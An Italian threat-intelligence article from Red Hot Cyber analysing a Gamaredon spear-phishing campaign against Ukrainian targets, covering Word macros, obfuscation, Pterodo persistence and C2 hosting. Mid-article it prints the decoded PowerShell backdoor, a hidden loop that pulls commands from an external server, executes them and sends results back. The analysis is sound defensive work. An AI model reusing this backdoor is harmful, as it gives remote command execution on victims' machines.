Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Redazione RHC : 19 Febbraio 2023 09:00
Autore: Gianluca Tiepolo
Gamaredon è un APT sponsorizzato dallo stato russo attivo almeno dal 2013. Si ritiene che il gruppo sia responsabile di una serie di attacchi informatici contro obiettivi ucraini, tra cui organizzazioni militari, governative e infrastrutture critiche.
Il Servizio di sicurezza dell’Ucraina classifica il gruppo come APT (Advanced Persistent Threat) e lo identifica inequivocabilmente come un’unità strutturale appositamente creata dal Servizio federale di sicurezza (FSB) della Federazione Russa, il cui compito è di svolgere attività di intelligence e cyber spionaggio contro target ucraini.
Vorresti toccare con mano la Cybersecurity e la tecnologia? Iscriviti GRATIS ai WorkShop Hands-On della RHC Conference 2025 (Giovedì 8 maggio 2025)
Se sei un ragazzo delle scuole medie, superiori o frequenti l'università, oppure banalmente un curioso di qualsiasi età, il giorno giovedì 8 maggio 2025 presso il teatro Italia di Roma (a due passi dalla stazione termini e dalla metro B di Piazza Bologna), si terranno i workshop "hands-on", creati per far avvicinare i ragazzi alla sicurezza informatica e alla tecnologia. Questo anno i workshop saranno:
Supporta RHC attraverso:
Ti piacciono gli articoli di Red Hot Cyber? Non aspettare oltre, iscriviti alla newsletter settimanale per non perdere nessun articolo.
Le tattiche, le tecniche e le procedure (TTP) del gruppo sono state ben documentate e spesso coinvolgono l’uso di ingegneria sociale, spear-phishing e malware, tra cui backdoor e strumenti di credential dumping.
Si ritiene che l’obiettivo ultimo del gruppo siano le operazioni di cyber spionaggio.
Di seguito è riportato un elenco di attacchi attribuiti al gruppo Gamaredon nel corso degli anni:
A gennaio 2023 sono stati identificati numerosi attacchi offensivi contro obiettivi in Ucraina riconducibili a Gamaredon, come documentato da Symantec, BlackBerry Research e Trellix. Nel corso delle ultime settimane, è stata identificata una nuova campagna – fino ad ora sconosciuta – condotta da Gamaredon, che ha preso di mira diverse organizzazioni ucraine.
La campagna, parte da un’operazione di spionaggio ancora in corso e mira a diffondere malware sulle macchine delle vittime ucraine e fa ampio uso di script PowerShell e VBScript (VBS) offuscati come parte della catena di infezione.
Il malware distribuito in questa campagna è una “WebShell” che include funzionalità che permettono l’esecuzione di comandi remoti da parte di un attaccante.
Il vettore di attacco consiste in una e-mail di spear-phishing con un allegato: una volta aperto l’allegato, il sistema della vittima verrà compromesso attraverso l’installazione di una web shell.
Come nelle loro precedenti campagne, Gamaredon effettua un targeting estremamente mirato delle vittime. Le mail esca imitano documenti ufficiali di reali organizzazioni governative ucraine, meticolosamente progettate per ingannare persone che hanno ragioni legittime per interagire con tali organizzazioni.
Di seguito un elenco di file associati alla campagna:
Il naming è coerente con altre campagne di Gamaredon, in cui i file malevoli sono composti da una parola che inizia con la lettera “d” e alcuni sono composti da due parole separate dal simbolo “-“.
Una volta aperto, il documento Word esegue una macro offuscata chiamata “xdm“. Questo script PowerShell decodifica ed esegue un secondo script PowerShell (anch’esso offuscato), che comunica con il server di comando e controllo.
Il primo livello di offuscamento viene ottenuto invertendo il payload codificato in formato Base64. Una volta decodificato il primo payload, il malware rivela un secondo livello di offuscamento ottenuto tramite una serie di tecniche, come la codifica di stringhe, l’offuscamento di comandi e argomenti, la rinominazione di variabili e il packing del codice.
Una volta decodificato, viene eseguito il seguente codice, che rappresenta il cuore della web shell:
powershell -command Start-Process $PSHOME\powershell.exe
-ArgumentList {$s='141.8.197.42:4000';$i='17e9c023-7c9d6f61-48eb357e';
$p='http://';
$v=Invoke-RestMethod -UseBasicParsing -Uri
$p$s/17e9c023/$env:COMPUTERNAME/$env:USERNAME
-Headers @{"Authorization"=$i};
for (;;){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/7c9d6f61
-Headers @{"Authorization"=$i});
if ($c -ne 'None') {$r=Invoke-Expression $c -ErrorAction Stop
-ErrorVariable e;
$r=Out-String -InputObject $r;
$x=Invoke-RestMethod -Uri $p$s/48eb357e -Method POST
-Headers @{"Authorization"=$i}
-Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')}
sleep 0.8}}
-WindowStyle Hidden
L’analisi del codice ha evidenziato delle enormi similitudini con il codice di Hoaxshell, un progetto open-source che implementa una backdoor scritta in PowerShell.
Tale progetto ha raggiunto una discreta popolarità in quanto include tecniche di oscuramento integrate e non viene rilevato dai principali software antivirus.
Probabilmente, questa è la ragione per cui il gruppo Gamaredon ha abusato del progetto in questa campagna; infatti, il documento Word con il payload malevolo basato su Hoaxshell (con alcune modifiche aggiunte da Gamaredon) è stato in grado di bypassare completamente alcune delle soluzioni antivirus più popolari, tra cui Microsoft Defender, Kaspersky, McAfee e SentinelOne.
In questa campagna, una volta ottenuto l’accesso iniziale alla rete della vittima tramite il documento Word malevolo, il gruppo Gamaredon è stato osservato eseguire comandi di ricognizione per poi installare la backdoor “Pterodo” per mantenere la persistenza sul sistema.
Una volta che il gruppo ha ottenuto la persistenza sul bersaglio, gli attaccanti procedono al download di un’altra variante della loro backdoor “Pterodo” e iniziano ad eseguire script aggiuntivi e creare attività pianificate su Windows per essere eseguite periodicamente.
Il fatto che Gamaredon abbia sfruttato un progetto open-source come Hoaxshell non sorprende: il gruppo è stato osservato utilizzare strumenti liberamente disponibili come il Remote Access Trojan (RAT) chiamato “njRAT”, lo strumento di desktop remoto “UltraVNC” e lo scanner di rete “Masscan“.
Questi strumenti off-the-shelf forniscono al gruppo funzionalità di base, come la capacità di controllare a distanza i sistemi compromessi o di scansionare per individuare bersagli vulnerabili.
Gamaredon ha sfruttato esclusivamente ISP russi per i server di comando e controllo in questa campagna, la maggior parte dei quali forniti dalle società IP Server LLC, Hosting technology LTD, TimeWeb LLC e SprintHost LLC.RU.
Nonostante sia stato più volte oggetto di attenzione da parte dei ricercatori di sicurezza, il gruppo Gamaredon persiste nell’utilizzare le stesse tecniche semplicistiche, spesso basandosi su strumenti facilmente disponibili (come Hoaxshell), anche riutilizzando il codice esistente in nuovi attacchi.
Nonostante ciò, il gruppo ha ottenuto notevoli successi nelle loro operazioni e continua a rappresentare una significativa minaccia informatica per l’Ucraina. La catena di attacco del gruppo è caratterizzata dall’ampio utilizzo di documenti Office malevoli, iniezione di template Office malevoli, sfruttamento del protocollo WMI e macro VBA dinamiche.
Dato il particolare focus del gruppo sulle organizzazioni ucraine e l’attuale clima geopolitico, è altamente probabile che Gamaredon continuerà l’attività offensiva nei confronti di questa regione.
RedazioneQuanto accaduto in questi giorni deve rappresentare un campanello d’allarme per l’Europa.Mentre il programma CVE — pilastro della sicurezza informatica globale — rischiava ...
Il 16 aprile 2025, Spotify ha subito un’interruzione del servizio che ha colpito numerosi utenti in Italia e nel mondo. A partire dalle ore 14:00, migliaia di segnalazioni sono state re...
Fourlis Group, il gestore dei negozi IKEA in Grecia, Cipro, Romania e Bulgaria, ha dichiarato di aver subito un attacco ransomware prima del Black Friday del 27 novembre 2024, che ha causato...
Noi di Red Hot Cyber lo diciamo da tempo: affidarsi esclusivamente a infrastrutture critiche gestite da enti statunitensi è un rischio per l’autonomia strategica europea. È anni che s...
A partire da poco dopo la mezzanotte del 15 aprile 2025, BreachForums – uno dei principali forum underground – risulta offline sia nella sua versione clearnet che nella controparte su re...
Copyright @ REDHOTCYBER Srl
PIVA 17898011006
